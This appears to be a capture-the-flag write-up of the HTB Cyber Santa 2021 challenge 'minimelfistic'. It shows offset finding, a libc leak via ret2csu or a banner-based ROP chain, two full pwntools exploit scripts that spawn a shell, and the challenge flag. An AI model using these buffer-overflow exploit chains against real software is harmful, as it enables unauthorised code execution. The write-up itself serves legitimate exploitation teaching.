> For the complete documentation index, see [llms.txt](https://jesuscries.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/htb-cyber-santa-ctf-2021-minimelfistic.md).

# HTB Cyber Santa CTF 2021: minimelfistic

The Elves finally understood what went wrong with all their plans. It's a security system, but the alarm rings whenever Santa's house is vulnerable to an attack. Will you manage to deactivate it?

## TL;DR

> The program does not contain `puts` function and has insufficient gadgets for us to use a vanilla `write` function. Using *ret2csu* technique to control the registers and leak LIBC address, then leverage *One Gadget* to pop a shell.

## Basic File Checks

After running the binary for a seemingly random amount of time, it will ask whether we want to turn off the alarm. Whether you put yes or no, it ignores you.&#x20;

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./minimelfistic                      

[*] Santa is not home!

[*] Santa is not home!

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> y

[!] For your safety, the 🚨 will not be deactivated!
```

With only NX enabled, it seems like a classic *ret2libc* attack that leverages ROP chain.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=minimelfistic
[*] '/home/kali/Desktop: minimelfistic/minimelfistic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE 
```

## Static Code Analysis

Looking at the decompiled code, we can actually stop the program by entering `9`. Even though it is not clear how many characters our input buffer `local_48` can hold, the enormous number of bytes `0x7f0` it is taking in just screams for buffer overflow.

```c
undefined8 main(void)

{
  size_t sVar1;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined *local_28;
  char *local_20;
  undefined *local_18;
  int local_c;
  
  setup();
  local_c = 1;
  while (local_c != 0) {
    sec_alarm(0);
    local_18 = &DAT_004022d0;
    sVar1 = strlen(&DAT_004022d0);
    write(1,local_18,sVar1);
    local_48 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    read(0,&local_48,0x7f0);
    if ((char)local_48 == '9') {
      local_20 = "Goodbye Santa!\n";
      sVar1 = strlen("Goodbye Santa!\n");
      write(1,local_20,sVar1);
      local_c = 0;
    }
    local_28 = &DAT_00402320;
    sVar1 = strlen(&DAT_00402320);
    write(1,local_28,sVar1);
    sleep(1);
  }
  return 0;
}
```

From this point onwards, there are no other user-defined functions like `win` or `flag` that is worth looking at, other than the `banner` function. It seems to be just calling `write` to print out the banner, which appears to be quite an innocent function, but can still perhaps be useful to us later.&#x20;

```c
void banner(void)

{
  size_t __n;
  
  __n = strlen(&DAT_00400a68);
  write(1,&DAT_00400a68,__n);
  return;
}
```

## Finding Offset

Since there is no apparent function that we should target, other than a classic buffer overflow, I am suspecting this to be a *ret2libc* attack. As usual, we will start by fuzzing the offset.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ gdb minimelfistic

GNU gdb (Debian 13.1-3) 13.1
For help, type "help".
pwndbg> r
Starting program: /home/kali/Desktop/minimelfistic 

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa

[!] For your safety, the 🚨 will not be deactivated!

[*] Santa is not home!

[*] Santa is not home!

[*] Santa is not home!

[*] Santa is not home!

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> 9
Goodbye Santa!

[!] For your safety, the 🚨 will not be deactivated!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004009dc in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────
 RAX  0x0
*RBX  0x7fffffffdf18 —▸ 0x7fffffffe26f ◂— '/home/kali/Desktop/minimelfistic'
*RCX  0x7ffff7e9a303 (clock_nanosleep+35) ◂— neg eax
 RDX  0x0
 RDI  0x0
 RSI  0x0
 R8   0x0
*R9   0x7ffff7f9d260 (pa_next_type) ◂— 0x8
*R10  0x7fffffffdd80 ◂— 0x1
*R11  0x202
 R12  0x0
*R13  0x7fffffffdf28 —▸ 0x7fffffffe290 ◂— 'COLORFGBG=15;0'
 R14  0x0
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP  0x6161616161616169 ('iaaaaaaa')
*RSP  0x7fffffffde08 ◂— 0x616161616161616a ('jaaaaaaa')
*RIP  0x4009dc (main+259) ◂— ret 
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
 ► 0x4009dc <main+259>    ret    <0x616161616161616a>
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde08 ◂— 0x616161616161616a ('jaaaaaaa')
01:0008│     0x7fffffffde10 ◂— 0x616161616161616b ('kaaaaaaa')
02:0010│     0x7fffffffde18 ◂— 0x616161616161616c ('laaaaaaa')
03:0018│     0x7fffffffde20 ◂— 0x616161616161616d ('maaaaaaa')
04:0020│     0x7fffffffde28 ◂— 'naaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
05:0028│     0x7fffffffde30 ◂— 'oaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
06:0030│     0x7fffffffde38 ◂— 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
07:0038│     0x7fffffffde40 ◂— 'qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
──────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────
 ► 0         0x4009dc main+259
   1 0x616161616161616a
   2 0x616161616161616b
   3 0x616161616161616c
   4 0x616161616161616d
   5 0x616161616161616e
   6 0x616161616161616f
   7 0x6161616161616170
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l jaaaaaaa
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72
```

## Leaking LIBC Address

One thing that stands out is that `puts` is not used in the program. So we need to find another similar function such as `write` that is capable of writing to the standard output in order to leak the LIBC address.&#x20;

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ objdump -t minimelfistic | grep "GLIBC"   
0000000000603010 g     O .bss   0000000000000008              stdout@@GLIBC_2.2.5
0000000000603020 g     O .bss   0000000000000008              stdin@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              write@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              strlen@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              alarm@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              read@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              srand@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              time@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              setvbuf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              sleep@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              rand@@GLIBC_2.2.5
```

In a typical *ret2libc* attack, `puts` requires the control of one register `rdi` for leaking the LIBC address; whereas `write` requires control of three registers:

* `rdi` = File descriptor
* `rsi` = Buffer to print
* `rdx` = Number of bytes to write

However, it seems that we have no way to control the `rdx` register.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ropper --file minimelfistic --search "pop rsi|pop rdi|pop rdx"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi|pop rdi|pop rdx

[INFO] File: minimelfistic
0x0000000000400a43: pop rdi; ret; 
0x0000000000400a41: pop rsi; pop r15; ret; 
```

### ret2csu

This is a textbook scenario for the use of the *ret2csu* technique, also known as the universal gadget, a technique used to populate registers when there is a lack of gadgets. Despite an apparent lack of gadgets, it allows us to populate the `RDX` and `RSI` registers, which are important for function parameters such as `write()`.

The rest is basically the same as leaking address using `puts`. When in doubt, consult the man page to understand what arguments `write` is taking.

{% code title="ret2csu.py" %}

```python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
offset = 72

elf = ELF('./minimelfistic')
rop = ROP(elf)

local = True

if(local == True):
	p = elf.process()
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
else:
	p = remote(ip, port)
	libc = ELF('./libc.so.6', checksec = False)

# write leak with ret2csu
# prepare write(rdi,rsi,rdx) 
# rdi = 1 to print to stdout
# rsi = ptr to addr we want to leak elf.got['write']
# rdx = how many bytes we want to print (8 bytes)
rop.ret2csu(1, elf.got.write, 8)
rop.call(elf.plt.write)
rop.call(elf.sym.main)

payload = flat({72:rop.chain()})

log.info(rop.dump())

p.sendlineafter(b">", payload)
p.sendlineafter(b">", b"9")
p.recvline()
p.recvline()
p.recvline()

leaked_libc_write = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leaked_libc_write - libc.sym.write
print("Leaked LIBC Base Address: ", hex(libc.address))

rop = ROP(libc)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
bin_sh = next(libc.search(b"/bin/sh"))

rop.raw(pop_rdi)
rop.raw(bin_sh)
rop.raw(libc.sym.system)

payload = flat({72:rop.chain()})

p.sendlineafter(b">", payload)
p.sendlineafter(b">", b"9")
p.interactive()
```

{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./ret2csu.py 
[*] '/home/kali/Desktop/minimelfistic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './minimelfistic'
[+] Starting local process '/home/kali/Desktop/minimelfistic': pid 4983
[*] 0x0000:         0x400a3a
    0x0008:              0x0
    0x0010:              0x1
    0x0018:         0x602dc8
    0x0020:              0x1
    0x0028:         0x602fa8 got.write
    0x0030:              0x8
    0x0038:         0x400a20
    0x0040:      b'qaaaraaa' <add rsp, 8>
    0x0048:      b'saaataaa' rbx
    0x0050:      b'uaaavaaa' rbp
    0x0058:      b'waaaxaaa' r12
    0x0060:      b'yaaazaab' r13
    0x0068:      b'baabcaab' r14
    0x0070:      b'daabeaab' r15
    0x0078:         0x400630 0x400630()
    0x0080:         0x4008d9 0x4008d9()
Leaked LIBC Base Address:  0x7fd559368000
[*] Loaded 195 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Switching to interactive mode
 Goodbye Santa!

[!] For your safety, the 🚨 will not be deactivated!
$ cat flag.txt
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}
```

### Manual Popping Registers

Recall that the `banner` function also uses `write` in it's procedure? This must mean that the `RDX` register is populated with the length of the banner message using `strlen`. Even though the value of `RDX` is not exactly 8 bytes, it does not really matter to us, because as long as it is >= 8 bytes, we will be able to get the full address of `got.write` regardless.&#x20;

We can use this to compensate for the lack of `pop rdx` gadgets, and now we have control over 3 of the required registers for `write`. In other words, we can now craft the ROP chain manually without using *ret2csu*.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FDDfhe94rfUvgEQvbFJoD%2Fimage.png?alt=media&amp;token=4f5eb2ea-e098-44e8-aa08-32cd3a9542af" alt=""><figcaption></figcaption></figure>

Calling the `banner` function will take care of `RDI` and `RDX` on our behalf, so we just need to focus on getting `got.write` into `RSI`. Based on the available options of gadgets, we are forced to `pop rsi` and `pop r15` at the same time, so we have to fill back `r15` with any dummy value.

```python
payload = padding 
# Call banner() to set RDX to 0x1836 and EDI to 0x1
payload += p64(elf.symbols["banner"])
payload += p64(rop.rsi.address) 
payload += p64(elf.got["write"])   # write_got fill into rsi
payload += p64(0x3030303030303030) # Filler value to fill popped r15 (8 bytes)
payload += p64(elf.symbols["write"])
payload += p64(elf.symbols["main"])
```

## One Gadget

After calculating the base address of LIBC, there is another fancy way to pop a system shell - via *One Gadget*. A `one_gadget` is simply an `execve("/bin/sh")` command that is present in gLIBC. However, there are certain constraints that must be met in order for it to work.

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4bfe0 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbx == NULL || (u16)[rbx] == NULL

0xf2532 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, [rsp+0xf0])
constraints:
  [rsp+0x70] == NULL
  [[rsp+0xf0]] == NULL || [rsp+0xf0] == NULL
  [rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0

0xf253a posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, r9)
constraints:
  [rsp+0x70] == NULL
  [r9] == NULL || r9 == NULL
  [rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0

0xf253f posix_spawn(rsp+0x64, "/bin/sh", rdx, 0, rsp+0x70, r9)
constraints:
  [rsp+0x70] == NULL
  [r9] == NULL || r9 == NULL
  rdx == NULL || (s32)[rdx+0x4] <= 0
```

The process of validating these constraints through debugging can be very tedious, and in fact, your LIBC version may not even have a working one\_gadget. As such, a general rule of thumb is to play around with all the available one\_gadgets to see if any one of them works for your scenario.

{% code title="onegadget.py" %}

```python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

elf = ELF('./minimelfistic')
rop = ROP(elf)

local = True

if(local == True):
	io = elf.process()
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
else:
	io = remote(ip, port)
	libc = ELF('./libc.so.6', checksec = False)

padding = b'A' * 72 

# Payload Goal: EDI = 1, RSI = write_got, RDX = 8
# 1. Call banner() to set RDX to 0x1836 and EDI to 0x1
# 2. Call pop_rsi_r15 gadget to put write() GOT entry into RSI
# 3. Fill back popped r15 value with any 8 bytes value
# 4. Call write_plt to leak libc
# 5. Return to vulnerable function main() to execute stage 2
payload = padding 
payload += p64(elf.symbols["banner"])
payload += p64(rop.rsi.address) 
payload += p64(elf.got["write"])   # write_got fill into rsi
payload += p64(0x3030303030303030) # Filler value to fill popped r15 (8 bytes)
payload += p64(elf.symbols["write"])
payload += p64(elf.symbols["main"])

log.info('Attempting to leak libc base...')
log.info('Sending first payload...')
io.sendlineafter(b">", payload)
io.sendlineafter(b">", b"9")

# Skip banner
io.recvlines(41)

libc_write_addr = u64(io.recv(8))
libc_base = libc_write_addr - libc.symbols["write"]
log.info(f'Found libc base: {hex(libc_base)}')

# one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget = 0x4bfe0 
gadget_jmp = p64(libc_base + one_gadget)
null_val = p64(0) # ensure rcx and rbx is NULL for one gadget constraints
payload2 = padding + gadget_jmp + null_val * 100

log.info('Attempting to execute /bin/sh...')
log.info('Sending second payload...')
io.sendlineafter(b">", payload2)
io.sendlineafter(b">", b"9")

io.interactive()
```

{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./onegadget.py 
[*] '/home/kali/Desktop/minimelfistic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './minimelfistic'
[+] Starting local process '/home/kali/Desktop/minimelfistic': pid 5063
[*] Attempting to leak libc base...
[*] Sending first payload...
[*] Found libc base: 0x7ff1e134c000
[*] Attempting to execute /bin/sh...
[*] Sending second payload...
[*] Switching to interactive mode
 
[!] For your safety, the 🚨 will not be deactivated!

[*] Santa is not home!\x07

[*] Santa is not home!\x07

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> Goodbye Santa!

[!] For your safety, the 🚨 will not be deactivated!
$ cat flag.txt
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}
```

**Flag:** HTB{S4nt4\_15\_n0w\_r34dy\_t0\_g1v3\_s0m3\_g1ft5}
